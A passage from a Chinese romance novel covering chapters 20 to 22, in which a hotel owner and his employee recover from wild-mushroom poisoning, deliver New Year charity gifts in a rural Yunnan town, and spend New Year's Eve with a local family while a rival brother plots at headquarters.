话音落下,“噗......”不知谁先没忍住笑了出来。
大家看着平日里淡定冷静的老板此刻这幅模样,都忍俊不禁。
但是菌子中毒的症状开始在每个人身上显现,只是轻重不同。
木秀只是重复机械地在那里拽东西,说她眼前总有白色精灵飞过,都被她一一拽了下来,在手里折腾够了再一一吹走。
云万宝是头晕想吐,还说看到给徒栖看门的中华田园犬“柴柴”从门口两只腿直立行走,到他面前问他吃饱了没有。
陈春梅吃得最少,她看着一屋子人群魔乱舞,忍着自己隐隐胃痛的不适,出去叫人。
后来的事儿沈清也记不太清楚,等到真的清醒过来,人已经在县医院病床躺着,手上挂着吊瓶。
陈春梅见她醒了,连忙给沈清喂了口水:“沈清,你还算好的,吊几瓶水观察就行,那几个都洗胃了。”
沈清朝病房看一圈,没见熟悉的面孔。陈春梅看出她的心思,赶忙说:“林总情况比较严重,需要住院,在住院部5楼510。”
沈清听了这话,有点慌了神。
她现在迫切地想要见到林牧野。
沈清从床上坐起,对陈春梅说:“春梅婶,你也吃了菌子,你快回去休息吧。”
陈春梅本想说自己不累,但她砸莫出一点滋味,秒懂:“哦......行啊,那你注意看吊水,那我真走了?”
送走陈春梅,沈清出了病房来到护士站,跟护士要了个可移动吊水架。说是可移动吊水架,其实就是家里晾衣服的取衣杆。
沈清盯着这玩意儿看了半天,问护士:“你好,这东西没有个落地的架子吗?”
护士瞥她一眼,摇摇头:“就只有这个。”
沈清只得举着这个架子走,刚往外走两步,又想起了什么,折返回病房。
她给林牧野准备的生日礼物还在包里。
沈清在病床的床头柜里掏出包,拿出用彩纸包裹的信封大小的东西,装进兜里,再把包放回床头柜。
然后风风火火地就往住院部赶。
510房间就在电梯厅旁边,沈清没有问路就找到了。
她脸上荡漾着笑容,一只手举着吊瓶,一只手按着兜里的礼物,用身体扛开了林牧野房间的门。
屋里一共4个病床,靠近门的一个床上没人,沈清在里面靠窗右边的病床上看到了那个熟悉的面庞。
病房里开着电视,和着人们聊天的声音,人们并没有太注意到进来的沈清。
可能是没刮胡子的原因,林牧野看上去有点憔悴;他半靠在床头,手里拿着手机正在打字。
沈清刚朝他走了两步,床边一个人影从床刚好挡着的盲区露了出来,嘴里还嘟哝着:“垃圾桶谁给踢床底下了,真难拿出来。”
是王嘉瑶,手里还拿着刚削好皮的苹果。
两人注意到眼前定住的沈清,同时看过去。
林牧野手肘撑床,立马坐直,眼里带着欣喜。
“沈清,你怎么来了,你......还好吗?”林牧野目光又看向沈清举着的吊瓶,声音有一丝激动的颤抖。
沈清看到王嘉瑶,脸上的笑容立马淡了下来。她浅呼一口气,摆了个标准且公式化的笑容:“我好多了。春梅婶说你的情况比较严重,让我们都来看看你。”
“林总恢复挺好的,昨天洗完胃,再输几瓶水就可以了。”王嘉瑶自然地把苹果递给林牧野。
林牧野看了眼王嘉瑶,没有接苹果,又转头对沈清说:“吊瓶举着不累吗?挂在这里吧。”他伸手指了指自己床位上的输液架。
沈清咬了下嘴唇,回答:“不用了,你忙吧,我也该回去了。”
沈清虽然脑袋还是晕晕的,但她还记得昨晚林牧野对她说的话。
那句让她现在想起来心尖都会微微发酸的话。
但现在,她实在不想再在这里停留半秒。
她的心冷静了下来,不是失望,也不是生气,她只是想问问林牧野为什么对贴上来的女生都要这么暧昧不明。
为什么......
但明显,她又不是他的谁,有什么资格问出这种话。
沈清往外走了两步,王嘉瑶在后面叫她:“欸欸,是不是我打扰你们说话了?”
沈清手摸到兜里的礼物,又折返回来。
王嘉瑶说话只是客气客气,没想到沈清真折返回来,身体不自觉往后靠了一点。
沈清没看她,径直走向抬头看她时无辜的眼睛显得有点可怜的林牧野,把兜里的礼物“啪”一声扣在林牧野手里。
然后,沈清把取衣杆高高举起,头也不回地走了。
林牧野低头看手里的东西,一脸懵。
王嘉瑶知道自己没起到好作用,抬眼看了下林牧野反应,又看了眼手里的苹果,张大嘴巴咬了一口。
林牧野拆开包装纸,里面是一张照片。
是徒栖员工的那张集体照,沈清专门托吴明远洗出来的,为了在生日会后当做生日礼物送给他。
林牧野盯着照片中间的沈清看。经过相纸的柔化,沈清的面庞更像是被一层晨雾般的薄纱笼住,锐利的像素被珍珠粉末般的光晕开。
林牧野握相片的手紧了紧:“你回去吧。”
王嘉瑶没滋没味地嚼着苹果,终于拍拍裙子站了起来:“知道了,你催了一上午了。”
林牧野低着头,仍是看着照片。
王嘉瑶穿上外套背好包,站在病床前:“林总,你是喜欢她吗?”
林牧野把视线从照片里的沈清脸上移开,看着眼前的女人,声音有气无力:“也许吧。”
王嘉瑶扯了下嘴角:“喜欢就追啊!大男人,磨蹭个什么劲儿。”说完,从包里拿出一条口香糖,利落地放嘴里嚼了起来,拍了拍林牧野的肩膀:“那我走了,拜拜!”
林牧野没有说话。
王嘉瑶走了之后,病房变得很安静。林牧野把照片轻轻地放在床头柜上,闭上眼睛躺下。
-
沈清回到自己病房时候,护士正好从她房间出来。
“你是不是1号床的?”
“是。”
“诶呀,你看你针管都回血了!你干嘛去了?”
沈清连忙抬起手查看,血已经回了有十厘米了。
这会儿,她才有点后知后觉的痛感。
“这瓶输完你就可以走了,东西收拾下,给别人腾床。”护士麻利地把针管拔下,给她的手背贴上了医用胶布。
沈清把自己的衣服换上,拿了包,去护士站办手续。护士看她还呆呆的,专门又嘱咐:“你们这次送来7个人都有中度迹象,有两个还比较严重,医院已经按照要求上报卫健委了。”
沈清吃惊地抬眼看护士。
“每年因为这个进ICU的都有!轻则看到小人跳舞,重则肝肾功能损伤,甚至要命!一定要煮熟煮透,不认识的菌子千万不要乱吃!你们也是命大,不然死亡都有可能。”
护士站旁边围着的人都向沈清看过来。
沈清有点难堪地低下了头,手把头发往脸颊拨了拨。
“你回去跟你们的人好好宣传下,别一
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个个的不当回事,好吧?中毒后6至12小时,患者的症状可能暂时缓解,看似“好转”,但实际上可能是假愈期,身体有不适随时来医院复查。”护士说完,把一叠宣传小册子递给沈清。
沈清粗略看了下,装进了包里,点头对护士说:“知道了,谢谢啊。”
她低着头穿过人群,边走边想,甚至有点后怕。的确,要是一个不小心,一命呜呼在这里,岂不是很不值得。
县医院距离徒栖有一段距离,沈清决定坐公交车回去。
沈清觉得,酒店也应该把“吃菌子防中毒”的知识宣传给客人,这样可以体现酒店的社会关怀氛围。
她掏出手机,想把这个想法分享给林牧野。
手指悬在屏幕上方,顿住了。
然后,她毫无预兆地轻笑一声。
“沈清。”沈清在心里提醒自己,“不要拘泥于儿女情长,做好你要做的事,不要忘记来黎乡的初心,调整好之后回到原来的正轨里。”
她按熄了屏幕,将手机放回口袋,双手抱臂,靠在公交车椅上,目光向窗外绵延的山群看去。
沈清很清楚,自己不会在这里待长久,更何况......林牧野和她本就不是一个阶层的人,自己竟然在这里做一些虚幻的梦。
在病床上的林牧野此刻打了个喷嚏。
他把外套拿来,披在身上,恰好手机响起,是集团总部的号码。
“林总,早。”总裁办秘书杨瑾的声音一如既往,“关于酒店昨晚发生的集体食物中毒事件,总部已经接到当地卫健委的通报和沟通。”
林牧野坐直身体。
“考虑到事情的严重性,结合总部董事会最近正在审议徒栖的扩建融资方案等问题,董事会决议近期派往徒栖一名副总,协助您管理酒店,以便保持运营稳定性,提高风险管控能力。”
“周秘书,董事会是否知道,那只是员工私下聚餐,发生在后厨非营业区域,并非酒店餐厅的食品安全事故。所有涉及人员都已就医,情况稳定。”
林牧野的眉头皱了起来。扩建融资是他筹划了近一年的关键项目,关系到徒栖能否真正成为滇南生态度假目的地的标杆。
“周秘书,这是一次意外,而且......”
“林牧野。”电话那头突然换了一个声音。低沉,威严,带着久居上位者特有的不容置疑。
林牧野握着手机的手指收紧:“爸。”
“你在黎乡几年了?”林长伟问,却不是真的需要答案,“这期间你做得不错,酒店有特色,口碑也打出来了。”
林牧野心下一沉,父亲从来不会无缘无故地夸奖。
“但是,做酒店不是做情怀。风险管控、合规经营、品牌维护,这些才是根基。你昨天这件事,说大不大,说小不小。但在融资的关键节点,它就是一个不好擦干净的污点。”
林牧野沉默着。他知道父亲的话还没说完。
“你哥林峰,在总部战略部三年了,报告写得不错,大局观也有,但缺一线实战经验。董事会几个老人提过几次,说接班人不能只懂看报表写文章。”
窗外的阳光刺眼地照进来,林牧野却觉得病房里的空调温度开得太低了。
“你那边现在需要加强管理,避免再出纰漏,林峰也需要补上这一课。让他过去帮你一段时间,驻店,实际参与运营,等融资顺利落地,风波平息,再看安排。”
“可是......”林牧野试图开口。
“我已经决定了。”林长伟打断他,“等你回来过完年,林峰年后随你一起过去。”
20. 第 20 章
电话挂断。
忙音在耳边响了很久,林牧野才缓缓放下手机。
他向后靠在病床上,闭上眼睛,回想当年初来黎乡的场景。
四年前的一次徒步旅行,林牧野和朋友入住徒栖。
那时,徒栖还不叫徒栖,只是一个当地村民开的民宿。这个民宿虽然不豪华,但它坐落在古城旁的丽山上,拥有观赏古城和日照金山全景的最佳位置。
当时的民宿房屋比较老旧,基本都是以木头作为原材料修建,员工不到十人,入住率常年徘徊在百分之三十,经常入不敷出,民宿老板一直在寻找人接手。
当林牧野一年后决心归山隐居,他回到这里,一点点改造。保留房屋原有骨架,注入新的建筑理念。
他亲自和当地村民谈判繁杂的事情,在无数个深夜陪设计师修改设计方案。把一家普通的民宿做成了有灵魂、有口碑的度假地酒店,并为它命名“徒栖”。
林牧野睁开眼,看向窗外连绵的山峦。
这里的冬天常年晴冷,天很蓝,风很大,他不知道哥哥林峰会不会和自己一样喜欢这里。
-
林牧野回到徒栖的时候,政府的人正在和阿依对接春节前慰问的工作安排。
每年春节前,林牧野和酒店员工都会将购买的米面油等生活必需品一一送到困难户家里;有些青年出门打工,家里只有老人和孩子的,林牧野也会去拜访慰问。
这两年,政府联合当地知名企业家一起,启动了每年一次的“暖心年”活动,林牧野因酒店经营出色,也被招收在编。
“林总,你身体还好吗?”活动慰问组带头领导李振书记昨天听说了中毒事件,此刻见到林牧野,立马起身握手表示关怀。
“我身体恢复不错,劳烦您费心了。也不知道有没有给政府添麻烦。”林牧野低头颔首,心里有点抱歉。
“不用担心我们了,人没事儿就好。昨天听到消息,给我吓得啊......”李书记拍拍胸口,心有余悸。
两人寒暄了几句,慰问组就要再去下一个企业对接了。临走前,李书记对林牧野嘱咐:“你们酒店慰问组一定要叫上和你一起救人的那个小姑娘,叫什么来着......”
“沈清。”林牧野立马回答。
“对对,沈清。一定要叫上她一起,你们都是被宣传报道过的人,要起到表率作用,给咱们黎乡继续增光添彩啊!”
林牧野点点头:“没问题。”
送走了政府的人,林牧野想把这个消息告诉沈清。
但他想了想近几日纷扰的各种事情,觉得自己没有很好的心情去见沈清。
他叫了阿依,让她替他传达,便继续投入工作了。
他想,反正慰问的时候,他肯定有时间,和她一起。
-
越临近过年,每个人的心情就越放松。这几天徒栖里,每个人都乐呵呵地,氛围悠闲。
木秀在前台听到汽车鸣笛的声音。她探头看去,是货拉拉,师傅已经把后门打开,里面装了满满一车红色包装的年货。
木秀高兴地大喊:“年货到了,大家来搬东西吧!”
林牧野闻讯,从办公室出来,云万宝和杨福光等男同志们都小跑着过来,李木甲还拉了辆平板车。
云万宝说:“嚯!林总大手笔啊!这我看都是好东西,没少花钱。”
杨福光见怪不怪:“身为徒栖的员工,福利从来就没差过,那不还是因为林总人好,给咱们都按照最高标准来。”
沈清和卓玛挽着手也过来帮忙,林牧野目光看过去,沈清倒是没避开。
两个人就那么对视了两秒,谁也没有说话。
沈清收回视线,低头挑了一个最沉的橙子搬。她以为自己力气对付这箱水果不在话下,可刚搬起来就又被沉的放了下来,还差点压到脚。
林牧野胸前抱了几个比较轻的坚果箱子,他快步走到沈清身旁,把怀里抱着的箱子放在沈清脚边,自己搬着那箱橙子放到了平板车上。
他经过时,身体靠沈清很近。沈清的肩膀被他的胳膊蹭了一下。
直到隔天下午,该去带着年货慰问了,林牧野叫着沈清到仓库把东西装车。
沈清盘点的时候,有一箱橄榄油放在仓库货架的高处。她觉得自己踮踮脚的事儿,就没有让也忙着的林牧野帮忙。
放橄榄油的那一格高度比沈清还高一头。沈清咬了咬唇,手臂伸到极限,用指尖拨弄着箱子的一角,慢慢把它推到架子边缘。
突然,沈清一使劲儿,整箱橄榄油瞬间失去了平衡,朝着她站立的方向倾覆下来!
沈清本能地闭眼,抬起胳膊挡在头上。就在这千钧一发的瞬间,一个身影突然出现,把她完全保护在身体里。
“咣当”一声,东西自上而下摔下来发出声响。沈清见自己毫发无伤,赶忙睁开眼检查。
眼前是林牧野宽厚的身体,把她护在身下,却没有接触到沈清。他闷哼一声,眉头紧皱,原本挡在沈清头上的右手下意识捂住了左边肩膀。
沈清关切地看向林牧野:“你没事吧?砸到肩膀了吗?”
林牧野咬了咬嘴唇,摇摇头看向她:“你有没有碰到?”
“我没事!”沈清的手轻抚林牧野的肩膀,“砸到你这里了是吗?走,我们去阿依那里拿急救箱。”
林牧野此时却突然动怒:“沈清!为什么要这样?”
沈清一楞,被他看过来的凌冽目光吓到,不解地问:“我怎么了?”
林牧野的眉头又皱的更深:“那么高的地方,还是如此有重量的东西,你为什么不叫我来拿?我就在旁边啊!”
突然的质问,砸得沈清有些发懵。她张了张嘴,想解释,却又不知从何说起。难道要说因为心里那点别扭和刻意保持的距离吗?
“我以为我能拿到......”沈清声音很小。
“刚才如果不是我在,那箱油就直接砸在你头上了!你知道那有多重吗?”他的声音在空旷的仓库里回荡,有员工路过听到,赶忙进来查看。
沈清低头不语。
他说得对,是她鲁莽了,是因为心里那点说不清道不明的情绪干扰了她,导致如今
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橄榄油被摔碎,渗出的油渍流了一片。
路过的员工在附近拿了扫帚和拖把来清理,大家没见过林牧野生这么大的气,都默不作声,只敢低头干活。
“我知道了。”沈清仍是低着头,不看林牧野看着她的目光,“下次不会这样了。”
林牧野后来被大家带到阿依那里。脱了外套仔细检查了一下,确定只是淤青没有伤口,便用急救箱里的云南白药简单处理了一下。
大家都劝林牧野不要去慰问了,让他去医院看看肩膀或者在酒店休息。
林牧野却坚持要去参加慰问,只是答应大家不会用胳膊再搬重的东西了。
于是,云万宝开着酒店的商务车,沈清坐在副驾驶,林牧野坐在后排。
云万宝感受到气氛不太对,便挑了个话头,识图打破沉默和尴尬。
“咱们先去我家吧,阿奶早就盼望着林总了,天天想着有机会再见见您。”
沈清看似眼看前方,但她的感官全部都在注意后排林牧野的反应。
“你家去年就不算困难户了,去你家不合适。”林牧野断然拒绝,心情还是不怎么好的样子。
云万宝瞪大眼睛解释:“我们家又不要慰问品,只是时间也刚好到中午了,去我家吃个简单的午饭就行。云岚也放假了,你们也很久没见她了吧,她很想沈清姐呢!”
沈清听了这话,想起云岚和她一起去京州比赛的日子,还真有点想见她。
“还是按照原计划,去李福东家。”林牧野坚持不去。
“那这样吧,你们过年回京州吗?不回的话去我家过除夕!”云万宝看了眼沈清,目光充满期待。
沈清等着林牧野回答。林牧野从后方看向沈清那坐得很直的背影,说:“沈清,你过年回家吗?”
沈清被林牧野一点名,身体绷的更直了。她没有回头,仍是看着前方说:“我......不回家,在酒店。”
林牧野猜到,沈清应该是还没和家里关系缓和。他垂眼想了一下,再次抬眼告诉云万宝:“我也在酒店过年,那就这么说定了,除夕我们去你家!”
云万宝高兴地笑出声,他看着沈清,咧嘴说:“太好了,我一会儿就告诉阿奶和云岚!”
-
慰问活动进行的很顺利,除了偶尔有老人太过激动,在见到林牧野的时候给他了一个大大的拥抱,或者不知道他受伤的情况下拍了拍肩膀时,林牧野会咧嘴痛那么一下。
其余时间,他都在开心地笑。那种笑是发自内心的,眼含温柔,和每一位老人唠家常里短,显然比出来前心情好太多。
沈清听着黎乡的老人们说起陈年往事,说当年林牧野刚来时候和村里的人们宣传酒店、招人工作的趣事,在心里默默地想象着他一个人是如何一点点从陌生到完全被村里的人认可的过程。
她越来越喜欢林牧野,喜欢他的善良、喜欢他的担当、喜欢他的一切。
沈清知道,林牧野是属于这里的,无论是现在还是以后。
她更清楚,自己是要离开这里的。
她的以后没有他。
21. 第 21 章
林牧野和大家围在一个木桌子前聊天,时不时侧过头,和面对他坐着的沈清对视一眼。
困难户老乡家里准备的有水果,江川草莓个头尤其大,摆在褐色的木桌上特别显眼。
说话期间,林牧野站起身,将一颗最大的草莓拿在手里,轻轻拂去表面的杂毛,剥掉蒂把,又把它递给沈清。
沈清抬眼看他,他挑眉示意她吃一个,还把举着草莓的手往前递了递。
沈清轻声谢过便接下。
一口咬下去,草莓香充斥着整个口腔,汁水冰凉沁润。
老乡笑着问沈清:“是不是很甜?”
沈清点头应着:“真的很甜。”
等所有拜访结束,依旧云万宝开车。
上车时,林牧野拉开商务车后门,对沈清说:“坐后面。”
沈清看了眼云万宝,云万宝对她点点头。沈清想了一下,回他:“我坐前面就行,看看外面的景。”
林牧野轻拉她胳膊:“营收项目有事情和你聊。”
云万宝绕过车头,专门过来把副驾沈清拉开的的车门关上,嘱咐她:“老板有工作约谈你,岂能怠慢!”
沈清不再推脱,上了车。
车行驶在乡间小道上,沈清眼睛漫无目的地看着窗外。但终究还是在意林牧野受伤的肩膀,便转头询问林牧野:“你肩膀还好吗?”
林牧野正在看手里一沓文件,没抬眼,淡淡地回答:“嗯。”
林牧野稍等了片刻,像是终于把手头的文件梳理清楚后,才抬头看沈清:“今天看的这些人家,有几户是有大棚种草莓的。”
沈清知道他说的应该和营收项目有关,便认真听着。
林牧野把手里文件递给沈清:“除了草莓蓝莓,其实黎乡有很多外地少见的水果,比如海参果、八月瓜、甜角等。我们可以帮他们把果园简易装饰,领游客来采摘。”
我点点头:“那一定要把地方改造的上档次一点,最好是适合亲子的那种。”
云万宝插话:“要是这样说,我们家里的地是不是也可以开发开发。”
林牧野笑了:“可以试试,但是可别让你阿奶干活,要干你和云岚干。”
云万宝嘿嘿一笑:“知道了林总。”
“我最近也搜集了不少资料,获得了很多灵感。”沈清认真地看着林牧野,“需要我先整理一版给您汇报吗?”
“不用。”林牧野身体向后靠,悠闲自得地看着窗外,“年前没什么要紧的工作了,其他事情,等过完年再说吧。”
的确,春节要临近了,黎乡的年味越来越浓了。
黎乡是多民族聚集地区,二十多个少数民族共处。更不必说这里还是旅游网红地,过年的客流量比寒暑假还要高。
街边已经开始卖五颜六色的米花球了,集市上也人流如织,为了初二的宴请买些食材和年货。
路边还有一圈女孩子在彩排霸王鞭舞,白族非物质文化遗产之一,跳起来轻盈好看,棍子打地的节奏非常清脆响亮。
纳西族还要在正月十五举办棒棒会,有些地方的场地已经开始装饰了,红色的金色的物料堆在一起,也是醒目的在提醒大家——春节快到了。
到了吃午饭的时间,云万宝在市场附近找了家他认为最地道好吃的米线店,说要让沈清尝一尝什么才是原汁原味的黎乡米线。
车停好后三人进店点餐。这家米线肉沫给的很多,价格超级实惠,只要10元钱,把沈清给震惊的不行。
林牧野身高腿长的,今天因为要代表政府和酒店,穿的西装革履,外面还套了个长款风衣,进入到这家小桌子小板凳的店里,反差大到令沈清忍俊不禁。
云万宝也意识到了什么,抓着脑袋对林牧野说:“林总,不好意思,委屈你了。”
沈清不服气:“什么叫委屈他了,你和我就低人一等吗?”
云万宝赶快摆手解释:“不是啊沈清姐,我是说委屈他的腿了,伸都没地方伸!”
沈清看看林牧野的腿,再看看自己的,小声嘟囔:“我的腿也很长好不好......”
吃完饭,走到门外,有一位阿姐在摆摊给游客编辫子。
装饰品和彩色假发摆了满满3个大板子,还可以选择细细的彩线编进头发里,只要二十元,简单便宜。
沈清站在板子前细细查看,那些民族特色浓郁的饰品看上去格外好看。
阿姐在后面温柔的搭话:“编了我的辫子有福气哦!”
云万宝凑过来:“其实我们当地没有编辫子的习俗,是游客多了才突然流行起来的。不过......沈清姐你还没试过吧?你编一个,肯定好看!对吧林总?”
林牧野低头看地:“时间尚早,可以试试。”
阿姐看大家都这么说了,就把沈清直接按在椅子上,开始造型了。沈清今天参加活动前就化了淡妆,稍施粉黛就明艳动人。
除了阿姐,又围过来一个店员,两人熟练地开始编辫子。再加上旁边两个大男人站着,这阵仗引得路人频频回头。
云万宝突然想起什么似的说:“沈清姐,你上次那张千狮山寺庙许愿图可火了,你怎么不开个账号当博主啊?”
沈清立马否定:“平时都在上班,资本家剥削的都没有多少自己的时间,难道拍怎么铺床吗?”
林牧野一听这话,双手抱臂:“怎么,对我给你安排的工作时间不满意?”
沈清眨眨眼,赶忙解释:“怎么可能,博主不好当,还是在徒栖干活踏实。”
她从镜子里看身后的林牧野,他正在认真地看阿姐如何编辫子。
说话间,沈清的辫子就编好了。沈清站起身,端详一番,连忙感谢:“真好看,谢谢。”
沈清付了钱,三人回到车上。刚坐好,沈清和林牧野同时说话:
“其实......”
“我觉得......”
沈清说:“林总,你先说。”
“我觉得,我们也可以和这种手艺人合作,邀请她们来店里给住客举办活动,比如今天这种编辫子就挺好。”
“对,选工装时候那家民族服饰店还有妆造和旅拍,藏族写真真的非常火,都可以介绍客源,互惠互利。我觉得春梅婶的儿子在黎乡的工作机会甚至比在外面还多。”
两人正说得火热,开车的云万宝突然冒出来一句:“我发现你们两个真的很爱工作啊!而且想法还很合拍。”
沈清原本说的
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激动到身体前倾,听了这话,立刻重新坐好:“林总引导的好,总是会带我去有很多灵感、可以发散思维的地方。”
林牧野笑了一声,调侃道:“你看她,说话总是这么官方,一点也不像一家人。”
“我跟你们说,就算现在不是一家人,到我家过完除夕,那必须就成了一家人了!”云万宝可算找到话头,又说起来去自己家过年的事,“阿奶东西都准备的差不多了,一定要来啊!”
-
最后一天的徒栖非常忙碌,这几天,大门的装饰摆起来了,院子里的灯笼挂起来了,后厨一直加班加点地炖土鸡汤、做纳西喜饼,很多人专门买来带回家。
酒店专门找来非遗的“甲马”老师,和新春装饰一起贴满院子。新年前后的每日活动也专门开了大会敲定好了,阿依正在加班加点尽快发公众号。
林牧野忙完最后一轮巡查,和沈清开车去往半山腰的云万宝家。已经八点多的山上夜色渐浓,山峦成了黑灰色的剪影。
云万宝家的木楞房亮堂堂的,还未近前,就看到窗内透出温馨的暖黄色灯光。两人拿着满手的礼品和年货敲门,开门后的热气从屋内扑面而来。
“林总!沈清姐!你们可算来啦!”好久不见的云岚从厨房探出头,声音里满是欢喜。
火塘里的火越烧越旺,映得每个人脸上都红彤彤的。电视里放着春晚,声音开得不大,成了热闹的背景音。
云万宝的阿奶坐在火塘边,裹着厚厚的头巾,脸上带着柔和的笑容,招手让两人坐近。
年夜饭就围着火塘展开,旁边桌上已摆得满满当当:中间是浓香扑鼻的腊排骨火锅,旁边是象征长久的长菜、油炸的乳扇、凉拌的树花等等......都是家常菜,却倾注了心意。
“今天来了就是家人了,阿哥阿姐快尝尝,阿奶我们准备了好几天呢!”云万宝热情地给大家夹菜。
林牧野没有了在酒店时的威严感,此刻挽起袖子,听阿奶用带着浓重口音讲村里今年的收成和村里趣事,附和着不时点头。
沈清挨着阿奶坐。讲完一段话后,阿奶突然看着沈清,眼睛亮晶晶:“你和小林什么时候结婚?小林咋找到这么好看的媳妇的?”
云家兄妹听了都开始笑,沈清被说得耳根发热,忙给阿奶解释:“林总是我领导,我是他的员工。”
林牧野低头浅笑,没有说话,火光在他睫毛处映出阴影。他举杯自己饮了一口苏里玛酒,惹得云万宝抱怨:“林总,你怎么不等我跟你碰杯呀!”
沈清岔开话题,对着云岚细细问询:“陈生你俩还好吗?他过年在京州还是在老家?”
沈清还说了当时和林牧野在京州见陈生的其他趣事,惹得云岚连连发笑。
守岁到十点时,阿奶年纪大,撑不住先去睡了。沈清和云岚收拾碗筷,林牧野和云万宝去院子里准备鞭炮和烟花。
等所有东西都准备妥当,云万宝又回到厨房帮两人洗碗。
林牧野拿上打火机,走到屋外的回廊上,点燃一支烟,却没抽,只是看着远处山上缓缓移动的云。
他透过窗户,看向里面低头认真洗碗的沈清。
今晚,他有些话想对她说,只在等一个合适的时机。
22. 第 22 章
除夕夜,环亚集团总部会所包房。
周女士携林峰刚刚抵达落座,林建国放下刚喝了一口XO的酒杯,不怒自威:“什么事情那么重要,年夜饭都顾不得了吗?”
周女士垂眼,一幅不愿多说的样子。林峰向前一步,低头解释:“父亲,今日是和银行谈融资,谈话比较投机,说完吃了点简餐才送走。”
“哦,是富国银行吗?”林建国起了兴趣。
“是的父亲,目前看来融资没有什么问题,只等年后审批了。”
“如果银行想做这门生意,过年就不能加班吗?”
“这……”林峰的头更低了。
“我看对方挣这个利息的意愿并不强烈,那不如你再去跟对方谈,再降0.2。”
周女士不敢相信地瞪大眼睛:“现在?”
林建国夹了一个波龙到面前的盘子里,用刀叉利落地切开,刀磨盘子的声音有些刺耳:“对。如果谈不下来,就让银行过年加班审批!”
“可是儿子还没吃饭呢!今晚过年……”
周女士的话还没说完,被林峰伸手打断。林峰低头看着鞋尖:“是父亲,我现在就去。”
不顾周女士的呼唤,林峰已经走出包房。因走的太急,撞到迎面端着餐盘送菜的服务员,上面的两碗小米辽参粥洒出来一点。
服务员连忙道歉,绕开林峰要继续往包房送饭。
林峰伸手把系的有点紧的领带拽开,转身一把抓住服务员,低声厉色质问:“已经洒出碗的汤还要继续端上桌吗?回去拿新的!不懂吗?谁培训你的?”
服务员灰溜溜地往回走。林峰解开领口的一粒扣子,眉头紧锁,阔步走在会所,两旁的服务生大老远见到,都退的远远的低头问好。
出了酒店大门,林峰拿出手机,拨通电话。
“出来。我管他什么过不过年的,你十分钟内赶到ELNIDO!”
说话间,门童已经将敞篷欧陆GT停在林峰旁边,毕恭毕敬地把车钥匙递到林峰手里。
林峰随手一扔,车钥匙掉在副驾的座椅上,拉开车门系上安全带,一脚油门汇入了车流中。
ELNIDO酒吧内,欧阳致诚已点好酒,坐在双人桌的高脚凳上。
林峰推门进入,看到bar前的欧阳致诚,快步走了过去。
他看了眼桌上的帝国IPA,这才第一次露出笑意。
“你知不知道,这里很难停车!”致诚操着一口台湾腔,表情夸张地埋怨。
“你把车扔枫林街路边啊!”林峰不以为意。
“那会被拖车的哥!”
“在京州混这么多年了,道上还不认识人吗?那你可真的白混了。”林峰闷了口酒,把风衣脱了放在身后的座位上。
“所以,你在除夕夜,这么着急叫我来,到底是怎么了?我的宝还在家等我呢。”欧阳致诚把手机微信界面展示给林峰,上面的肉麻话让林峰不忍直视。
“现在通知你,你俩快要分手了。“林峰瞥他一眼,嘴角勾出狡黠的弧度。
欧阳致诚两手一摊:“Whatareyoutalkingabout(你在说什么)!“
“融资的事情搞得老爷子心情不好。过完年,董事会会派你我去黎乡常驻,回来估计怎么也得一两年后吧。”
“什么?!“欧阳致诚原本就大的两个眼睛瞪的快凸出来。
“我也是刚听我母亲说的,按计划的话,年后会宣布,宣布完就要动身了。“
“我们去那个鸟不拉屎的地方干什么呢?我又听不懂国语……不是,我又听不懂方言,那里是不是没有任何娱乐活动?真的是在山上独立的一个酒店吗?你有去过吗……”
林峰伸手捏住了欧阳致诚的嘴,停止了他滔滔不绝的疑问。
“我懂父亲的用意。他一直觉得我和林牧野没有在一起真正较量过,觉得我站不稳脚跟,所以让我们去自相残杀。而你,谁让你是我的助理呢!”林峰看着欧阳致诚,虽自身难保,但看他激动的样子,竟还有些幸灾乐祸。
“什么!Can’tbelievethatshit(真不敢相信)!”欧阳致诚想到以后没有灯红酒绿和漂亮女孩子,已经快哭了。
“Don’tworry(别担心)!Justwinanebackwithmycrown(赢了他然后带着王冠回归)!”林峰把最后一口酒一饮而尽,看着酒吧电视上春晚主持人的倒计时环节。
-
林牧野和沈清在云万宝家一起看完了春晚的倒计时环节,等到了新年。
两人分别给云万宝和云岚塞了红包。虽然云万宝坚持不要,但最后还是犟不过林牧野,悻悻地收下了。
“我都工作了,红包都是给上学的小孩子的,云岚收了就行了。”
沈清借机嘱咐云岚:“听到没,上学的小孩子才有红包,不上学的一律不给红包!”
云岚听了,羞得红了脸:“沈清姐你可别说了,我都知道错了!”
“那今年你一定要考上京州的酒店管理专业,等你拿到录取通知书,我姐姐给你个更大的红包!”沈清伸手刮了下云岚的鼻子。
“诶呀!你把人家本来就不高的鼻子刮更塌啦!”云岚跺脚撒娇,现在也是成了十分注意形象的少女了。
“行,那我就不闹你了,我们也该回去了。你和你哥也早点睡吧!”沈清拿起外套,看了眼林牧野。
林牧野正眼含笑意地望着她们,这才突然回过神,也去拿衣服。
“我看林总倒是在这里很适应,一点也没有要走的意思。”沈清调侃道。
“那是,这里多暖,比冷冰冰的酒店好多了。”林牧野嘴上这么说,却已走到门口拉开了大门。
和云万宝兄妹告别后,林牧野开车载沈清回徒栖。
在车里看着窗外街道上还是热闹的人群,沈清仍是兴致勃勃。
在四方街广场,中间燃着好大一堆篝火,劈啪作响,烈焰腾起。围着火堆,人们手拉着手,正随着鼓乐的节奏踏步、旋转、踢腿。男人的吆喝声,女人的笑声,还有不那么整齐的踏地声,热闹非凡。
沈清看着手拉手的人们,也想加入,林牧野便把车停在路边,下车站在车前,双手插袋等着她。
他倚在车旁,看着篝火在沈清笑着的眼中映出闪动的光。她周围被包围着五彩
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斑斓的服饰,银饰也随着动作叮当作响,那一刻的沈清让林牧野感受到了蓬勃的生命力,浸润了心中的贫瘠,给予了林牧野力量。
纳西族阿姨一直在招揽街上的游客加入,没一会儿,舞圈越来越大,沈清和不知天南地北哪里来的游客拉着手,踩着节奏,绕到林牧野身前,拉着他硬要他也加入。
林牧野摆摆手,笑得羞涩。
“一个人站着有什么意思?进来跳。”沈清依然坚持。
林牧野的手被沈清紧攥着,他想抽回,却被她更紧地握住。
“怕什么?跟着步子就行。”她不由分说猛地一拽,林牧野被半推半就地拉进了旋转的圆圈。
声音太过嘈杂,沈清靠近林牧野教他,两人的头几乎挨着:“进三步,顿一脚,再退一步。”
林牧野分不清是鼓点还是自己的心跳,咚咚地捶着心口。
林牧野一个走神,把旁边游客的鞋子踩掉了。大家顿时笑作一团,沈清更是笑到弯腰不起。
林牧野赶忙去跟人道歉,人家怎么会在意。两人回到圈子里继续跳,反而更放得开了。
